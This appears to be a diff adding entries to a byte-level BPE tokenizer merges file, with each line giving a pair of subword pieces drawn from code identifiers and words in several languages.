+Ġl oro +ist ency +Sen ior +æ k +ĠA AA +ĠBO OK +к о +W STR +Ġ*/ ,Ċ +oy al +.v ector +ĠS PEC +SS F +Ġcomp uls +ĠAppe als +ĠW inston +ĠMock ito +con trib +. available +entity Manager +ari as +_s ale +_r s +Ġdec oding +Ġloc ator +ol ith +Ġk ol +Ġasc ii +ĠR ut +/ interface +ĉĉĉĉĉĉ ĠĠĠ +ĠN umer +.fl ip +-d el +Ġbol ster +on omic +Ġz m +L G +Find By +Ġadapt ive +lo o +Ġv ue +(re verse +_c anvas +. roles +ific ado +ven ient +" As +ĠEn tr +al igned +Ġbere its +/// ĊĊ +.g wt +. employee +_cl i +Ġanticip ate +éĻ IJ +Ġp ik +Ġmush rooms +(t t +Ġo ma +ĠSan chez +_g oogle +. Valid +ĠFile Name +iv ative +k ed +-w ar +Ġm aturity +и д +Ġmin er +Reduc ers +ĠLat Lng +_ST D +D igits +Cal c +-up load +Ġhand ic +ี à¹Ī +egr ated +ĠST M +C lients +ĠTur bo +SY NC +Ġphotograph ers +. Out +.char acter +B UILD +.un lock +Ġar ises +ĠCommand s +(" ");čĊ +_F ORE +; ', ++" ' +. Images +") { +ĠM eyer +Ġneg atively +ĠD LL +Ġex e +Ġdef iciency +Ġwild ly +-s witch +con struction +Ġexception ally +ĠL iz +/j ava +Ġtheir s +ĠCont emporary +l is +.fill Rect +ĠN FC +Ġre he +(num bers +Ġr aster +Ġfig uring +Ġshow c +ĠJ ill +Ġarc ade +ĠConstruct s +md l +(' | +Ġident ifiers +Ġst ellar +( Connection +Ġ" {{ +y or +(m ysqli +Ġdo ve +Of Birth +.dis connect +_h i +Ġzw ischen +ĠGr und +i ros +_A rray +.on click +ans om +An swers +ĉ remove +F a +Ġhur ry +-in f +Ġget Class +ĠReg ulation +ĠFLAG S +m isc +K en +_ heading +G Hz +- entry +Ġbi ography +S ig +-m f +Watch er +âĢľ A +} px +Ġsp icy +_s q +L ost +(tr ack +а ли +Desc ending +< bits +qu ine +ĠAdv oc +_S N +ĠHann ah +PO P +Ġem itter +Ġc yn +ĠC AD +? ). +/ set +ĠS ister +ĠEnd point +Ġmen or +Ġinter p +r k +id le +Ġout fits +. vertex +Ġc lic +ARE N +Ġpost ure +ĠOpport unity +v x +ĠFor bes +.D irection +Ġres ide +Ġremember ing +nest y +Auto resizing +pro viders +ĠA H +Ġhur ting +ĠL ily +eval uate +lij k +p apers +ĠSm ash +ĠL AST +Ġwell s +w asher +_RO LE +ĠD anger +* (( +_re pository +ĠRes olve +ĠRoom s +_R G +ĠQ T +o op +ĠHe ap +Ġslow ing +Ġgrat uite +_c atalog +Ġpol ynomial +L y +pc s +F ox +ĠC yr +Ġdim in +/ month +S alt +Ġh ind +.P ER +For um +c en +_p ol +íĺ ¸ +Ġin ser +( ~ +@ test +ĠGold man +Ġupload ing +F c +Ġkom mer +Ġm itt +_log ged +Ġbu cks +-l ayer +) };Ċ +ĠO M +Ġv eg +col our +Ġоб ÑĬ +Std String +_ que +ĠT ian +Ġspecial ize +и п +Ġк л +tr ial +- edge +Ġm ars +OG LE +Ġempath y +ĠB om +Ġcoll isions +Ġcart e +ĠTe il +ĠM PL +Ġporn ô +Ġa irlines +A ws +N s +ĠSp awn +( use +é» ĺ认 +Ġy acc +st or +Ġconf ess +Ġpe que +r age +? "Ċ +/dat atables +ĠSh ower +__ / +Ġcryst als +Ġbus car +ĠH aus +iz ação +_ entities +ķ Į +ļ Į +x cc +v irt +-che vron +( Result +c ake +COM E +Ġprohib it +ĠCh ess +Ġbe aucoup +ĠÑĩ ÑĤо +R UN +ĠI K +ó ÅĤ +_ Update +Ġsle ek +ĠSpec ify +_c redentials +ÅŁ t +ĠUser Name +ĉ Value +Ġarray List +Ġex changed +ips is +.re lated +ĠSe ite +_B AR +ĠL em +ĠW ATCH +ĠC lients +Ġ. * +ĠEar l +-re port +Ġforeign ers +Ġstrengthen ing +ĉ Description +(g o +.tool bar +Ġcalcul ates +ĉs ource +Ġcz as +Ġre cl +ab o +Ġlocal host +Ġ^ {Ċ +.P op +ĠDes igned +\ Abstract +H old +ĠGuid elines +ipl ine +Ġc aching +.Re ader +_ext ernal +.str ptime +ĠWeek end +-M ar +ĠBe i +Ġ{* } +ĠR ud +Ġexpl or +ĠBou levard +C ash +Ġprep ares +Ġserial ization +ew ater +Ġad c +: ĊĊĊĊĊĊ +Re fer +Ġsc anned +} }ĊĊ +ĠF ul +Ġtour ing +ãĥĥ ãĤ¯ +> (( +sur vey +Ġí ĺ +... ')Ċ +ĠDiv ider +os l +_C ANCEL +_pre pare +st in +ĠHe ath +.Primary Key +ĠâĨ IJ +ĠLocal DateTime +Ġcooper ative +L earning +.en queue +Ġgo og +ĠReg ression +im ates +Ġvoy eur +ĠDr ink +pl ug +Ġl ender +man a +Ġperson nes +yp se +Ġun link +ĠRav ens +Ġhur d +Ġperiod ically +ARG S +ĠG H +char acters +... "ĊĊ +- establish +Ġd n +( condition +ĠGr avity +Ġest as +_f ocus +Creat ure +(s ite +Ġc arr +ĠR L +ĠR I +ĠM oto +AS F +ĠLuck ily +ĉ Route +Ġent ropy +(" ," +Col lect +( contact +ĠFlo rence +Ġpremium s +Ġlif ecycle +Ġb ans +x ef +Web Kit +ĠFlo ating +Ġcos a +Spec ific +ĠLo ans +b read +Ġdes criptors +Ġ{ :. +TH READ +ĠT rent +Ġsc op +Q A +ĠAnt ar +p el +_d ifference +_ch anges +(... ) +ĠR otation +ĠLG PL +ĠJ UST +(T ask +_sub set +ĠTR ANS +åĬ Ľ +ĠSc out +-p opup +Ġsm oked +_C lass +Ġturn over +br akk +ĠRock y +t as +.Regular Expressions +ĠElli ott +ĠSp inner +DU CTION +Ġlib re +Ġmol to +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠ +ĠF TP +m peg +(f eatures +Ġb ald +ĠV id +Ġsh outing +L int +Ġsock ets +Ġpro w +Ġnouvel le +isc ard +ĠS ponsor +Ġconsult a +)) ); +Ind ian +ĠR aspberry +Ġteam mate +ĠJ WT +ĠGh ana +Ġc akes +pr imer +form a +erg arten +_M anager +Ġpre season +G AME +| " +ĠBro ck +Ġoccup y +Ġdecor ations +á nd +Ġc ot +Ġpar an +D isk +rem ain +> ? +Str ong +Ġfr ance +ĠE ra +-c r +.Buffer edReader +ĠParad ise +ĠV AT +ĠAnd ers +Ġlim b +amp oo +Ġimper ative +UT ILITY +ĠRec ognition +Ġragaz ze +Ġpop s +yp ress +Ġemb argo +// {Ċ +Ġsy ll +P TR +åŃĺ åľ¨ +Ġdid nt +Mail er +Ġacad emics +ĠFra uen +ne ider +- rel +Ġrain bow +( In +Ġslic ed +============ =Ċ +(s end +NSMutable Dictionary +v os +(p ackage +Ġord inance +view er +ĠSant os +-s elling +Ġgo v +ett le +Ġfound ers +Ġw aking +sl ashes +-p ound +re cht +ا ت +.on Click +Ġn ord +st änd +_ when +UT ERS +ic c +Ġcaps ule +ĠW id +M arc +ภ¸ +ro red +UG E +LO UD +ĠAud it +ip ients +op ian +ĠS ue +Ġwur den +.H elpers +Ġf actions +[ np +-th an +Ġre co +Ġk as +Ġcmd s +/n etwork +xb f +get Color +Ġbi ased +ĠL ak +D atas +vent s +Ġë ² +_P S +. Validate +Inv oker +Ġne uen +Ġju venile +V ISION +Ġdev ote +Ġlin ha +Ġdiscount ed +\ Config +Ġworth while +Ġskin ny +ĠC ourses +le ys +ĠMort gage +K evin +Ġannounc es +]) * +res ervation +Ġæķ ° +Ġprejud ice +ĠString Comparison +Ġbe ard +-w in +ĠS ão +ĉ ms +j al +ĠE arn +_ ports +ĠN ombre +_C OR +ĠB UILD +.s ound +Y ellow +Ġlineback er +Ġchar itable +j ug +_NON NULL +ĠD ental +"> ${ +ĉm atch +R ussian +Ġvers ch +Ġp inned +Ġadopt ing +Options Menu +P ag +Ġpair ing +Ġt read +erc ises +ĠSp read +) i +ĠB AD +_t f +UI ImageView +pop ulate +b ab +ĠÏ ĥ +[ ++ +Ġopi oid +Ġ## Ċ +d type +ĠStart s +('/ ') +Ġperson als +-mark et +Ġredund ant +ĠEss ential +Ġscrap y +Ġи м +a cl +Ġcre ar +ĠB end +Ġrel ieve +- room +w ife +Ġv Ãł +ĠQ Point +Ġqu asi +Ġmethod Name +\x c +ĠPer u +/ The +. orm +Ġv iz +/p df +Loc ated +Ġconfront ation +ĠChampionship s +Ġhyp ert +Ġd j +ĠUser Info +ĠåĪ Ľå»º +\x b +(s im +Ġ== Ċ +Ġst aging +Ġdr astically +åŃ ¦ +l ords +. less +вед иÑĤе +ĠB ucket +ĠM am +. term +_p i +c zy +.p ub +prec io +ĠV irt +Ġrom an +it at +L ex +_inf os +Ä ° +. other +VE LO +Ġp onder +Ġh anno +( Page +do i +Ġpol ite +Ġprogram mer +D ies +$ d +Ġrep lication +add Column +fr ican +Ġl eng +be er +o it +Ġw asting +yl im +me asure +N eg +Ġpart ie +.con sole +ĠGu inea +TE L +_f act +.ch unk +Ġl ent +Ġall er +Ġठķ +_id le +Ġad missions +JSON Array +Ġv ibration +.h elpers +å¤ ĸ +Ġh en +j ohn +Ġì ĥĿ +Ġjud gement +Ġge en +ter ra +^ { +ĠI z +Ġc â +inst ances +Ġthreat ens +Ġm üssen +Kind OfClass +Ġstoryt elling +_d emo +ri as +Priv acy +h ift +ĠY i +es or +íķ ł +ens itivity +.W riter +ภĤ +D istrict +.get JSONObject +Im pro +(get Resources +ĠS PELL +rodu ce +Ġslow ed +Ġlin ewidth +Ġhonest y +ĠCo ord +ĠF ork +ĠDispatch Queue +ĠCl iff +ĠW iring +_TIM ESTAMP +oll ah +av oid +++ ];Ċ +sem antic +-c ss +Ġv eto +ĠM err +Ġlegisl ators +CEE DED +Ġquestion naire +ĠP ills +Cal culate +(c ore +' e +Ġdis like +ĠPre ferences +_EX TERNAL +è° ĥ +Ġd odge +æľį åĬ¡ +.n ames +.draw Image +_p rom +uck land +Ġ<$ > +ı z +/s ite +é¡ ¹ +rop he +Ġcomp elled +Ġl aptops +Ġun i +C LOSE +Ġcasual ties +ĠUn iform +Term inal +. "," +D AT +(T reeNode +ĠGand hi +(st mt +AX B +* M +Ġumb rella +an imal +Ġgr pc +Ġwhere by +Ġfloat s +ĉ arg +Ġdb g +Ġexceed ing +Event Type +.SaveChanges Async +Ġ{ {{ +Ġow ed +ahren heit +Ġì § +Ġequ ipo +ur ai +Ġid ol +] ")Ċ +_m ajor +Ġentire ty +inger print +ç os +/ account +ĉ right +urs os +ĠE DT +_INS ERT +Ġsh ining +Ġ< : +Edge Insets +Ġcolon ies +. IM +ĉĠ ĉ +RO AD +CC CC +pl acing +Ġget Activity +em acs +' %( +.click ed +ĠTh em +is ia +Bus car +.re name +Ġo ath +Ġafter ward +ĠU FO +AP S +ĠJackson ville +.s ome +Conf irmed +.s can +ig Integer +Decor ator +sh ield +ress ive +.d id +请 è¾ĵåħ¥ +Ġsh utter +D am +Ġparent ing +ey ed +$ item +-de velop +Ġextract s +Ġdecentral ized +ĠEl sa +_sp in +]) + +-in itial +Ġmult itude +Ġsens ory +ĠMODE L +Ġsafeg uard +ì ¹ +Ġhunt ers +ĠT iny +IN O +decor ate +ĠNo Such +H o +( Response +Ġr uler +ĉ short +Ġc aster +Ġclient Id +Ġp db +ëı Ħ +it ic +ĠGame State +Ġnew Item +)ĊĊ ĊĊĊĊ +ou is +n oc +.BL ACK +_V ECTOR +---------- (); +.get P +any e +Ġneur on +if old +ĠK nown +Bit coin +Any way +ay ette +Ġ' [' +Ãł nh +m gr +Ġcor related +Ġn ause +Ġment ality +has Many +ĠF G +amp ie +IT U +F s +.S p +_b etween +Dep endencies +ou g +Place holder += text +ĠMan aging +ocal ypse +åĮ Ĺ +_m ag +f ld +â ij +C AM +ĠHelp ers +Ġd ost +/ out +Ġassass ination +.get Image +ĠKenn y +.' )ĊĊ +){ // +ĠR anger +Ġg ek +Ġsinc ere +< Value +ĠD OT +ĠVict ory +Ġleg ends +Ġpr isons +(ex pression +ĠR abbit +_s entence +Ġbit es +Ġon Failure +ĠâĪ Ī +K im +.g ender +ĠÎ » +Ġ[ . +"] ); +land ing +-d igit +TE MP +ĉ entry +Ġstrt ok +Ġdesc endants +um no +Ġlean ing +Ġspecific s +q n +ĠSp art +Ġpor r +EDIATE K +Ġse per +' aut +ĠSTE P +ĠBorder Layout +Ġret ros +ĠSalv ador +ĠEN GINE +x dc +T weet +v k +Ġì ² +] << +het ics +c oding +Re ach +.re q +gu ide +.s cope +sh irt +rog ate +SET TING +ĠProte in +Ġe ing +. EMPTY +.d f +Ġclear er +Ġc rossover +ĠTo ys +Ġco ated +.M onth +ĠAtt ach +/ run +.t abs +Ġogs Ã¥ +B rown +.D ATE +Ġf os +åŃŠ符 +W ood +-th ree +her ited +Ġ rop +( ac +Ġembod iment +ĠKenn eth +Ġcan non +Ġb idding +čĊ +.get Resources +Ġl ump +_const s +( ext +ĉd ir +â Ŀ +Ġpadding Top +Ġobs ession +Ġb anning +ĠApp Module +Ġpart isan +Ġcatalog ue +Ġmin ors +Ġpitch es +we ep +Ġundert ake +Ġthem ed +aud it +.scroll Top +Ġr er +Ġsympt om +Ġopen ings +.block s +open id +Ġas sh +-s ave +ĠP ig +Ġreg ain +Ġin icial +/f avicon +ĉ exp +Ġsp ices +isk a +claim s +m ak +definition s +Ġcorrespond ent +ĠCann abis +__ ,Ċ +ĠL ucky +ĠGa ussian +ĠN early +C AD +'] ]Ċ +Ġadequ ately +ĠT ITLE +constitution al +-m m +_ override +Ġbl as +.ready State +Ġremin is +Ġrein forced +ĠColl abor +Ġdecor ating +Ġb achelor +ERRU PT +Ġup right +ip ation +ĠNob le +Ġvalue ForKey +Ġset Loading +.I gnore +å ģ +G lobals +ĠM ent +AS SES +Ġlim bs +ĠH UD +inc i +. iv +ĠQ ModelIndex +F use +Ġped al +_F REQ +( verbose +Ġlong itud +ĠChar ter +ê ·¸ +Ġbund les +. ignore +um bo +EM A +.... ... +s x +.C ard +Ġhe ute +Ġste er +j umlah +Ġ{ _ +_Check ed +Ġf ax +ĠG ust +itch ens +Ġ ))ĊĊ +Ġremark ably +/ XML +- remove +_b t +Ġinc ub +.p ackage +.current Thread +ĠHigh lander +.s ide +s plash +Ġ ici += D +Ġp uck +Ġball ots +Ġhug ely +co eff +Ġp Data +.C OLUMN +ĠHe aling +Ġord in +! ), +Ġ' ',čĊ +(m d +ĠS ask +< strong +Ġsurviv or +.s eries +Ġcaffe ine +Ġ` ( +.TRA ILING +_ Input +(" ^ +z d +& );Ċ +ĠP ing +Ġv oucher +.r ating +-sh irts +ĠRetrie ves +.al ibaba +Or acle +_MO V +Old Data +Ġ/* čĊ +Ġg boolean +Ġ=> čĊ +Ġr á +Ġbl unt +ĠImage Icon +if ik +RT C +Ġfib ers +Ġto ile +.s ent +ĠPy Qt +$ app +Ġmed io +Ġgrant ing +Ġtsl int +ĠM ö +(fig size +Ġhur ricane +Ġlif es +Ġà Ħ +rocess ing +_st andard +- option +')) ) +Ġvac ant +å· ¥ +ĠH ollow +handle Change +Ġdiv ider +ĠEngine ers +Ġsv ens +Ġcompl iant +t anggal +ĠC redits +ĠEm irates +Rule Context +Ġreal ization +Ġdistr acted +]+ = +Ġaug ment +ĠD w +ot p +or rent +Edit ar +.st ock +St udy +pe ctions +ĠGame Manager += cut +Ġf lock +ĠRom ans +th em +-h op +Ġscreens hots +Ġ/* !Ċ +Ġconvers ions +Ġnormal ization +(config uration +Ġa eros +_se curity +! 'Ċ +B onus +ĠDR IVER +ĉ Date +t ie +ĠWy oming +St and +it re +Ġsh oppers +Ġdisadv antage +Ġlik ing +ç¬ ij +Ġunderstand able +SE E +Ġh oy +Ġnin ete +Ġcon fer +Ġnow rap +ĠV ern +, čĊčĊ +imest ep +Layout Manager +à · +ĉw ait +PLE TED +J apan +Ġindu ce +Ġå ¯ +оз в +_END POINT +.h orizontal +Ġacceler ated +rim on +IV ES +Trans actions +Le an +ĠSO UR +wh ether +y g +Ġo id +ĠEntity Manager +OUN TRY +Ġfil a +OLUM NS +IN UE +ĠAn chor +TR AN +wo o +block quote +ĠN urse +ĠCar p +Ġrede em +. try +ĠJ P +Ġtimestamp s +Ġ?> ">< +ĠREM OVE +ĠStar bucks +Re ally +Ġflood ed +.C allback +Drop Down +ip ro +Ġt ended +l te +Ġproport ions +- te +ĠR ena +lic ate +for ces +.ex tra +.auth enticate +в од +¡ ° +Ġfor ControlEvents +Ġsen ha +Ġke in +Ġmin ist +ĠPre ference +ĠTele graph +Ñĥ п +str pos +Ġillness es +Ġp igs +Ġget Intent +S ol +Ġ ¡ +(c pu +[ prop +s creens +'); ?> +ĠAct s +Ġstr dup +Ġaver ages +an al +ĠCas ual +Group Box +ĠHand book +/ comments +Ġnumber ed +Ġbroadcast ing +çĽ ij +.native Element +.m u +Ġupdated At +ĠDoes n +.A C +.c oll +Ġrec order +_sh a +B g +b il +Ġbol ts +Ġç ¬ +Ġim posing +ĠInformation en +_flash data +e conomic +Rem ark +uc as +ĠOff icers +ĠT ER +W alk +Ġmerc ado +_g enerate +H Y +Call ing +s nap +script Id +. operation +ĠFl ame +l iness +Ġrent ed +_t oggle +-ch anging +ĠT Y +' util +EE P +Ġgraph ql +ĠUn i +Ġimp ulse +.B asic +Ġenerg ies +M ARY +ĠMar cel +Ġmort al +Ġf res +m ens +m otion +Ġsample d +âĢľ That +id ay +qu ipment +get Int +ĠA bsolute +,' " +un ed +.sh are +Ġ} )( +mm m +ĠR ising +ä» » +Ġun employed +x fa +.f ollow +ĉĉĉĉ ĠĠĠĠĠĠ +sl t +.P hone +Ġkn ives +Ġe ve +on Click +] ))čĊ +ĠW itness +ĉ NS +ĠE OS +ĠSte fan +ĠPri est +âĢĶ which +Get String +. By +Ġup stairs +Ġdetr iment +bro ken +emb ro +Ġnic otine +il ion +Ġaston ishing +_ aff +ĠLess on +Ġaccident al +od or +Ġdec ir +Ġnew Name ++ . +çĽ ¸ +igs list +ĠG ithub +Ġsuccess ive +rac ial +Ġen viron +éªĮ è¯ģ +Ġredirect ed +T OTAL +Ġgrab bing +ĠL ance +Ġfor fe +_C B +å¾ ® +El apsed +_w ay +(Dialog Interface +_me asure +x bb +D og +Dep art +-s rc +res olver +with standing +_sh ell +ĠLast Name +ĠAv iation +Ġbegin ner +("% . +(to ol +Ġн ов +: init +(A PI +ĠMorr ison +vt Color +Ġstap le +/ INFO +Ġsupern atural +Ġste ak +tim eline +zz le +" `ĊĊ +Second ary +ĠNep al +.String Utils +Ġad am +Ġ( ... +Ġsub stitution +Ġboard ing +ĠKey word +ĠAss ault +dbc Template +Ġorder Id +( engine +.assert That +ĠVen us +Ġhomic ide +ĠA val +Ġg utter +ĠSupport ed +/p art +Ġac claimed +H istor +Ġmes es +ü ber +ĠRen ew +Ġgr as +ĠE k +Ġin file +ind y +.m usic +.S croll +ĠA ges +ĠNar uto +ĠG ather +Ġconfirm ing += (" +Ġpitch ed +ole y +Fr ance ++' " +$ total +Ġon de +Ġd itch +_s igma +Ġcontinu ity +re ward +- load +Ġproces o +Lock ed +st aw +Ġsp inal +l azy +! == +j est +Ġd un +ĠRod gers +ĉ grid +Ġlog os +ĠBeng al +.s uper +Provid es +Ġnut rient +.T imestamp +IZ ATION +åĨ Į +Ġf ats +ĠX xx +ct ica +Target s +Ġcont ours +Ġre ordered +: Array +Ġtoler ate +V ir +Ġter ribly +Ġbr icks +(& _ +h b +Port al +ĠB read +. which +ÂŃ t +as InstanceOf +Ġj object +ĉ length +_M T +; ">čĊ +_EX IST +Ġmat ernal +RE L +Ġê²½ ìļ° +he e +Ġlayout s +ĠL ap +ais y +Ġst umbled +ĠU IG +ĠS co +Ġimp aired +RES SED +Ġab uses +V F +AR B +.N AME +r ch +prim ir +_com pleted +Ġp enny +Ch rome +(b egin +ern en +- checkbox +Plain OldData +ĠL PC +r ade +sp ir +Ġcon ceived +T ips +ĠIo T +ĠG an +èģ Ķ +Ġbi ases +Ġconsult ants +ple d +_ ht +associ ated +], ĊĊ +Ġdelight ful +ĠÑĤ ек +Hel vetica +( load +-exp and +_W IDGET +to a +ĠA kt +Ġom n +Ġcl auses +Int el +*/ }Ċ +_reg istration +Ġold Value +Ġrest oring +Ġun real +O VER +ĉĊĉĊ ĉĊ +AT S +_pro be +Ġdiv isor +.update Dynamic +å¹ ³ +Produ ces +st amp +.j boss +ĉt ask +! (: +Ġpsych ic +@ class +M artin +ĠPass ed +clar ations +h el +а Ñĩ +ĉc opy +-b in +z an +ig ram +া ঠ+(s ig +ĠC aval +_ ## +Ġ% = +out lined +ĠAc id +Ġunpredict able +-d ashboard +Hex String ++ c +.P ublic +Ạ© +Ġconvey or +ĠE B +Ġselect s +Ġknock ing +ĠC ec +IBUT ES +owa Äĩ +g atsby +* v +ent ropy +Ġdispatch ed +Ġcam el +ĠSat urn +Ġover weight +( phone +par able +% B +_v ectors +Ġbrew ing +ĠT k +ĠDownload s +ĠS aved +.Pr ice +Ġcur ved +ĠParen thood +è ¶ +.p nl +plet ely +.D ay +Ġadvertis ers +Ġej ec +Ġpr zed +ë ¯ +! ';Ċ +ĠK ush +ĠT AB +Ġquest s +Ġcoinc idence +umm ies +ĠKash mir +ĠEth ics +_g rowth +Ġakt iv +Ġgroup ing +å¢ ŀ +_tr uth +åIJ ¬ +t odos +is et +Tex Coord +ä tt +ĠZ ur +ro ys +_M AGIC +Ġbrew ery +( State +ĠSM ALL +ĠPl ants +it bart +each er +ĠAd elaide +L u +Ġf ick +und les +_load ed +и е +P oll +rit ic +EL Y +Ġ+ ' +ĠProf ession +Ġst amps +ĠS ew +scroll View +Ġcomm unist +/pro blems +}čĊčĊ čĊčĊ +, o +Ġu dp +Ġob ese +appro ve +ancell ation +_G ame +ĠHas htable +adaptive Styles +Ġpossess es +.match er +function al +M rs +ĉs ave +ĠDb Type +Ġk en +get Context +Ġm ans +( rel +ĠBrother hood +) `Ċ +è§ £ +.In formation +OutOfRange Exception +ĠS ek +C as +Ġblog gers +E ither +(" "" +Ġpin ch +Ġco arse +) p +ĠP ulse +Ġlear nt +Ġdent ist +Ġon change +Ġdirect ives +( actions +ny der +ĠSh ir +T rait +_de p +ĠP ET +ĠRE P +.App Settings +cu ador +iden av +Ġenv i +Ġsl ammed +ĠSh oot +Ġdate Format +.j oda +ve ys +Ġ) .ĊĊ +Ġcare g +ĠPar allel +_ translation +.function s +. obs +Runtime Exception +[] = +over view +ĠSch l +Ġno isy +ĠOn PropertyChanged +S ending +Ġunf amiliar +U pon +ĠPrint s +.t yp +Ġflee ing +ĉm ove +( Un +Ġq r +× ľ +_b eta +Ġsk ies +ĉm e +W ND +Ġstick ers +bl as +Ġinsert s +Ġvers es +ĠD ew +Ġtang ible +Ġhe cho +P OL +Ġte ardown +om nia +IB E +.c over +_str ategy +^ - +set Position +u ale +S igned +Ġif ace +as eline +.set Time +ĠMin eral +ĠFight ing +sk ins +Ġdiscrim in +Ġdans k +ĠPr inceton +ac ist +Ġ( ));Ċ +tr acks +imon ial +ad ecimal +EP ROM +ugg le +.Not ification +$ mail +c antidad +ĠJ ung +Ġseek ers +Ġpl ausible +t ier +еР¶ +Ġr apper +ĠMan a +ĠHttp StatusCode +Ġburn t +los es +ĠF oto +ĠJson Object +Inst agram +Ġsys call +Ġreal ities +ĠMAT LAB +:^ {Ċ +TER M +ĠC bd +ĠPar agraph +Ġtrav és +Ġconstruct ing +Ġsw al +Ġp ige +LL LL +-ex isting +G ets +Ġmelt ed +Ġmitig ate +H en +Ġh m +im as +ĠA o +ĠP erez +ĠD AL +Ġëĭ ¤ +Ġdiv is +Storyboard Segue +ĠMod ify +ĠÃľ ber +_O VERRIDE +.p em +unt os +Ġespa ñ +Ġ{ ? +ĠP AY +_ip v +ĠF ury +__ .__ +el ow +-center ed +check s +_ Reg +-J avadoc +ĉ load +ĠLik ewise +ا Ùħ +UN E +.se m +x cb +ĠC ave +_s leep +Ġsil ently +ĠExt reme +.To Upper +ĉC HECK +Ġc ue +ĠQ ByteArray +Ġcorrupt ed +ĠD é +Ġimp ed +Get Name +Ġinaccur ate +Ġso ber +е е +Ġbar code +-- ){Ċ +ink i +Ġé p +Ġd ri +ĠAL T +>>>> >>>> +ont a +[ L +Ġinter es +ver ting +Ġdi agnostics +p dev +è © +ĠIntegr ated +). ' +_g c +$ text +.g ames +ĠT erra +' Re +.trans fer +_F IFO +get Model +Ġbl and +ĠCole man +Ġpr imes +Ġæ Ī +Ġcross es +n k +G ING +Ġ' ^ +ĠB lob +Ġinter course +ĠBl vd +Ġweigh s +_reg ular +ĠPer th +Ġsepar ating +Ġb illed +.tab Control +Ġpup pet +Ġutil ization +Ġâĸ ł +Ġsucc es +Ġl amps +_pro j +E ric +Ġren ovation +ĠFam ilies +ĠB its +part ials +-M en +s olution +Ġd warf +.IN TEGER +ĠLO CK +. ct +Ġexcer pt +ĠP ix +ĠFirst Name +ANT ED +ĠAd mir +-h elp +P rior +ĠAl ign +.IN STANCE +Line Edit +('/ : +Ġin et +od us +.p kl +ĠK Y +up ert +Ġn erves +_grad ient +} ',' +_un ref +Ġs aturated +ĠConn ected +ĠF N +EX IT +Ġtele port +Ġav ait +Page Route +Ġdivor ced +(l ang +f st +ĠT yr +Ġmess enger +if stream +X S +ĠBank ing +Ġinfect ious +ĠM ons +_LO OP +Ġzur ück +Ġobt ener +/re pos +V el +ac ro +Ġuser Repository +style Type +ĠS RC +VML INUX +rec ursive +/ bar +_ch ip +omin ated +ĠN it +âĢĶ to +ĠBudd h +ом еÑĢ +ĠM AG +ĠC HE +_d en +. raises +_de gree +Ġpump kin +_tem plates +_M EDIA +ĠTim eline +Ġb ots +Object Type +Ġbu ys +.post s +C AL +wait ing +ĠDani els +Ġd abei +ĠS igma +il or +ig el +, W +AD S +( panel +ì² ´ +it ating +.p alette +Ġmos quito +Ġt ego +(parse Int +Ġdes pués +p romise +Ġw ij +types cript +ĠT v +_IDENT IFIER +).ĊĊ Ċ +_fl at +its u +US R +ex perience +-f it +ph inx +_th resh +Ġide ally +ĠFre eman +, DB +_r w +çŃ ī +U b +_stat istics +=" ">< +Ġch ore +Ġy ork +inst alled +Add itionally +Ġp stmt +yl ko +:: Ċ +Fore st +Ġhead set +Ġgall on +ÑĢ ÐµÐ¼ +Ġwithdraw n +ĠC andidate +Ġmel ting +Ġfree zer +Ġh l +_HE LP +m ime +( /* +Ġth irst +$ return +member of +еР± +ĠHttp ServletRequest +( ob +_ Result +Ġassert ed +Ġfulfill ing +Ġstret ches +par ated +-f unded +Ġå Ľ +ing les +_c a +. condition +ĠDis plays +Ġor ang +ĠC RE +Ġgl Bind +ĠSelect or +/ type +ĠAlex a +ched ules +ĠPen insula +Ġpar ity +ĉ dest +ĠDo ors +čĊ ĉčĊ +_dim ension +Ġa load +.St oredProcedure +(p aren +ĠBur ke +') ]Ċ +- engine +Ġqu ir +ĠHy brid +ĠDo e +Ġout lines +ĠTrend s +_N V +per iments +ĠH in +? ', +ĉ Text +F UL +Ġsm ells +Ġs lick +Ġmis erable +ĠArray Adapter +Ġparam String +H om +_l iterals +us uarios +Ġprompt ing +_l azy +ĠActiv ation +_ oc +We ak +Ġan ecd +ĠU CLA += re +isse ment +ĠEsc orts +Ex cellent +ĠP ause +Ġre positories +T OR +ari ate +_is o +up dates +hal b +udi ante +ë¡ Ŀ +Ġna ive +ĠP eg +ĠL ounge +ARG IN +(b in +On ClickListener +ĠFA ILED +Ġl ite +Ġd zie +ĠL iteral +iv or +fc ntl +Ġe ats +Ġq ed +Un lock +rid ing +und ai += M +AT TER +Configure Await +ici as +ustom ed +Ġsuccess ion +end Time +ĠJ upiter +Ġjud ging +d ration +_d ocs +.m o +Ġeduc ators +ĠV ine +Con d +[ out +q b +\ Validator +Ġmean ings +Ġpresent ly +Ġdiv iding +otten ham +asc ular +Ġtrail ers +ĠC LOSE +ам и +âĢĻ ai +ĠG ain +w or +Ġpl anner +Ġdistrib uting +v at +month s +x label +H F +V iol +.BASE LINE +еÑĤ ÑģÑı +ĠR otate +Ġtx n +: bold +Ġb loss +Forg ery +( embed +Ġjak o +s printf +the ir +Ġexhib its +- static +he cy +get ActiveSheet +.c lients +ãģ į +_h ide +[ word +C b +add Item +ax e +_r adio +al ion +mod ifier +Ġsat uration +Ġden om +_p ixels +m ess +(f l +at if +Ġse cs +Ġpro stitution +Ġgrand children +Ġparad ise +ĠF eld +_B INARY +it ous +๠Ħ +Ġflash ing +-s ided +Ġcontrad iction +/* ĊĊ +y label +ĠT et +Ġadm ire +res o +Ġlet z +ĠSE ARCH +sl ots +ĠRew ards +ĠH og +ĠNS Data +st ash +F all +ĠA mer +Line arLayout +/ photos +Ġfe ather +Ġ| čĊ +Download s +.Start sWith +Ġ// # +ine Transform +Ġaff id +V tbl +ĠRog ue +scri bed +Ġfa uc +ĠMon roe +Ġdecl ares +mod ern +re on +ay be +P ASS +f ers +_MULT I +ĠMath ematics +Ġsud ah +_ATT ACH +Ġnumber With +ĠSol omon +j in +ograf ia +ö l +_d esign +cul ated +ĠL una +ies z +Ġ=> ' +Ġrevel ations +Al ong +( ed +ĠF ilename +Ġy label +Sec ure +Ġbus ca +agn osis +_RE CE +Ġoverl apping +Ext ent +Ġanticip ation +Check s +ĠALS O +or c +iling ual +it ational +Ġadv ancement +ou ro +ĠP redicate +å¾ Ĺ +er ia +ĠPier ce +or io +Ġmer its +Ġpe anut +.P ackage +ĠCon duct +_SENS OR +Ġbo iling +Ġin tra +ĠI GN +ĠF ur +.Ref resh +ĠRe ach 